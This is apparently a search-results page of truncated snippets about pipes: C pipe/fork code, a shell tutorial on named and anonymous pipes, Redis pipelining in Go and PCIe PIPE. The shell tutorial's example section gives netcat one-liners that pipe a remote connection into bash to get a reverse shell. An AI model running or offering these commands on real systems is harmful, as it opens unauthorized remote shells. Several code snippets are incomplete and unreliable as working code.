精华内容
下载资源
问答
  • Pipe

    2017-09-29 04:29:07
    During the design phase of the new pipe shape the company ran into the problem of determining how far the light can reach inside each component of the pipe. Note that the material which the pipe is ...
  • pipe

    2012-11-02 09:48:11
  • PIPE

    2017-11-08 15:27:37
    必须在 fork中调用pipe(),否则子进程不会继承文件描述符。 两个进程不共享祖先进程,就不能使用pipe。但是可以使用命名管道 int fd[2],nbytes; pid_t pid int *write_fd = &fd[1]; int *read_fd=&fd...
    必须在 fork中调用pipe(),否则子进程不会继承文件描述符。
    两个进程不共享祖先进程,就不能使用pipe。但是可以使用命名管道



    int fd[2],nbytes;
    pid_t pid


    int *write_fd = &fd[1];
    int *read_fd=&fd[0];

    result=pipe(fd);

    if(-1==result)
    {
        printf("fail to create pipe\n");
        return -1;
    }
    pid=fork();
    if(-1==pid)
    {
    printf("fail to fork\n");
    return -1;
    }
    if(0==pid)
    {
    close(*read_fd);
    result=write(*write_fd,string,strlen(string));
    return 0;
    }
    else
    {
    close(*write_fd);
    result=read(*read_fd,readbuffer,sizeof(readbuffer));
    printf("the parent receive %d bytes data %s\n",nbytes,readbuffer);
    }

    对管道进行写入操作的时候,如果写入的数据小于128k则是非原子的
    如果大于128k字节,缓冲区的数据将被连续的写入


    管道,直到全部数据写完为止,如果没有进程读写数据,则将一直阻塞

    int fd[2],nbytes;
    pid_t pid;

    int *read_fd=&fd[0];
    int *write_fd=&fd[1];

    result=pipe(fd);

    if(-1 == result)
    {
       

    }

































    展开全文
  • PIPE THREAD

    2019-02-28 14:15:14
    PIPE THREAD
  • pipe constructor

    2020-12-07 02:13:03
    <div><p>I tried to use pipe.append() to dynamically construct my filter chain, and got the deprecation warning. This is the best I could come up with now: <pre><code> Botan::Filter* f1 = new ...
  • <div><p>From an spec standpoint differentiating pipeTo and pipeThrough is helpful but from a user standpoint the only diffrence is that pipeThrough is for piping to through streams and pipeTo is for ...
  • <div><p>i believe that i once saw/read that sending a void pipe to a stripe pipe make the pipe retract. now it just places the void pipe behind the stripe pipe and makes the pipe longer. <p>ps i use ...
  • pipe4

    2013-07-09 13:55:10
    pipe4
  • shell 之 pipe

    2016-04-10 16:35:00
    pipe

    pipe分为有名管道和匿名管道

    1.匿名管道的系统调用

    //代码来源 man pipe
    #include <sys/wait.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    
    int
    main(int argc, char *argv[])
    {
       int pipefd[2];
       pid_t cpid;
       char buf;
    
       if (argc != 2) {
        fprintf(stderr, "Usage: %s <string>\n", argv[0]);
        exit(EXIT_FAILURE);
       }
    
       if (pipe(pipefd) == -1) {
           perror("pipe");
           exit(EXIT_FAILURE);
       }
    
       cpid = fork();
       if (cpid == -1) {
           perror("fork");
           exit(EXIT_FAILURE);
       }
    
       if (cpid == 0) {    /* Child reads from pipe */
           close(pipefd[1]);          /* Close unused write end */
    
           while (read(pipefd[0], &buf, 1) > 0)
               write(STDOUT_FILENO, &buf, 1);
    
           write(STDOUT_FILENO, "\n", 1);
           close(pipefd[0]);
           _exit(EXIT_SUCCESS);
    
       } else {            /* Parent writes argv[1] to pipe */
           close(pipefd[0]);          /* Close unused read end */
           write(pipefd[1], argv[1], strlen(argv[1]));
           close(pipefd[1]);          /* Reader will see EOF */
           wait(NULL);                /* Wait for child */
           exit(EXIT_SUCCESS);
       }
    }

    可以看出来基本是当成文件来用的,所以在shell里用法也应该差不多。

    2.shell中的pipe

    2.1 创建

    mknod pipe_name p
    mkfifo pipe_name 

    2.2 使用

    #下面两句的顺序不重要
    #不过先运行的指令会卡住
    #这里cat执行后echo这句才会结束
    echo aaa > pipe_name
    cat pipe_name
    cat > pipe_name
    cat < pipe_name #同cat pipe_name

    关于cat:

    cat|cat|cat|cat|cat #效果等价于一个cat

    另外一个无聊的用法:

    mkfifo myin
    mkfifo myout
    cat >myin
    cat <myout
    bash <myin >myout 2>&1 &

    总之有了管道之后,就可把不同程序的输入和输出像接水管一样接起来。。。
    管道是可以有n个输入和n个输出的,
    当一个管道有多个输出时,默认输出轮流在多个输出间切换(轮询调度)(Round-Robin Scheduling)

    3.例子

    用pipe实现nc反弹shell

    #0 stdin
    #1 stdout
    #2 stderr
    $ bash < aaa |nc -l 1234 1>aaa

    另外一个跳过-e选项的方法

    nc -l port1
    nc -l port2
    nc ip port1 | bash | nc ip port2

    参考:
    1.http://www.2cto.com/Article/201407/318222.html
    2.http://www.waitalone.cn/linux-shell-rebound-under-way.html

    展开全文
  • GPipe引擎 基于GPipe的高级3D引擎
  • 访问下载Steampipe。 文献资料 访问以获得关于Steampipe的所有内容的完整文档。 外挂程式 寻找插件? 签以浏览可用的插件和架构文档。 社区 可以在上Steampipe社区,在这里您可以提出问题,表达想法并共享您的项目。...
  • 多个进程利用pipe连接构成pipe ring, 利用这个环进行pipe sorting
  • Water pipe

    2017-08-17 11:49:25
    The Eastowner city is perpetually haunted with water supply shortages, so in order to remedy this problem a new water-pipe has been built. Builders started the pipe from both ends simultaneously, and ...
  • Water Pipe

    2017-03-26 08:08:18
    There are two types of pipe: straight pipe and bend pipe. You can rotate them if necessary. Two types of pipe have different prices. You are assigned to calculate the minimum cost to connect the two ...
  • redis pipe

    2019-08-19 12:10:36
    redis nil err 寻找1922902342900000103-23,但是redis里没有,返回的cacheList里则会: val="" baseCmd: ...多个时,返回的是交替的,长度为len(单pipe时)*N,N为几个pipe pipe := s.Redi...

    redis nil err

    寻找1922902342900000103-23,但是redis里没有,返回的cacheList里则会:

    val=""

    baseCmd:

        args: 有东西

        err: redis nill

     val为数组时

     多个pipe

    多个时,返回的是交替的,长度为len(单pipe时)*N,N为几个pipe

    pipe := s.RedisClient.Pipeline()
    if parentID != 0 {
       if sortBy == 0 {
          for _, commentListItem := range commentList {
             cacheKey := utils.GetArticleSecondLevelCommentPerFirstLevelCommentKey(articleID, utils.IDToSN(commentListItem.Meta.CommentID))
             pipe.LRange(cacheKey, int64(offset), int64(offset+limit)).Val()
             pipe.LLen(cacheKey)
          }
       } else {
          //热度
          for _, commentListItem := range commentList {
             cacheKey := utils.GetArticleSecondLevelCommentPerFirstLevelCommentHotKey(articleID, utils.IDToSN(commentListItem.Meta.CommentID))
             pipe.ZRevRange(cacheKey, int64(offset), int64(offset+limit)).Val()
             pipe.ZCard(cacheKey)
          }
       }
    } else {
       for _, commentListItem := range commentList {
          cacheKey := utils.GetArticleSecondLevelCommentPerFirstLevelCommentKey(articleID, utils.IDToSN(commentListItem.Meta.CommentID))
          pipe.LRange(cacheKey, 0, 2).Val()
          pipe.LLen(cacheKey)
       }
    }
    cacheList, _ := pipe.Exec()
    j := 0
    for i, cacheItem := range cacheList {
       if i % 2 == 0 {
          commentList[j].SubCommentList, _ = s.GetCommentList(cacheItem.(*redis.StringSliceCmd).Val())
       } else {
          commentList[j].SubCommentCount = int(cacheItem.(*redis.IntCmd).Val())
          j ++
       }
    }
    展开全文
  • 13 Pipe

    2018-09-21 15:24:35
    Pipe有一个source通道和一个sink通道。数据会被写到sink通道,从source通道读取。 这里是Pipe原理的图示: 创建管道 通过Pipe.open()方法打开管道。例如: Pipe pipe = Pipe.open(); 向管道写数据 要向管道...
  • python Pipe

    2020-07-16 20:49:56
    Pipe 管道通信,必须是统一进程下的两个子进程之间的通信。 pipe管道由于fork机制只能用于父与子,子与子的进程中间. https://www.cnblogs.com/lonelyshy/p/9714806.html
  • Stripes Transpot Pipe

    2020-11-27 08:16:38
    When a stripes transport pipe tries to place a pipe that is not transport (waterproof or conductive) you get an NPE (when it is a transport pipe it replaces itself with the pipe and puts a stripes ...
  • #PIPE# PIPE之 形而上

    2020-11-20 13:44:22
    PCIe物理层接口(Physical Interface for PCI Express,PIPE)定义了物理层中的,媒介层(Media Access Layer,MAC)和物理编码子层(Physical Coding Sub-layer,PCS)之间的统一接口,旨在为提供一种统一的行业...
  • pipe并不是Python内置的库,如果你安装了easy_install,直接可以安装它,否则...pipe将可迭代的数据看成是流,类似于linux,pipe使用'|'传递数据流,并且定义了一系列的“流处理”函数用于接受并处理数据流,并最终...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 49,644
精华内容 19,857
关键字:

pipe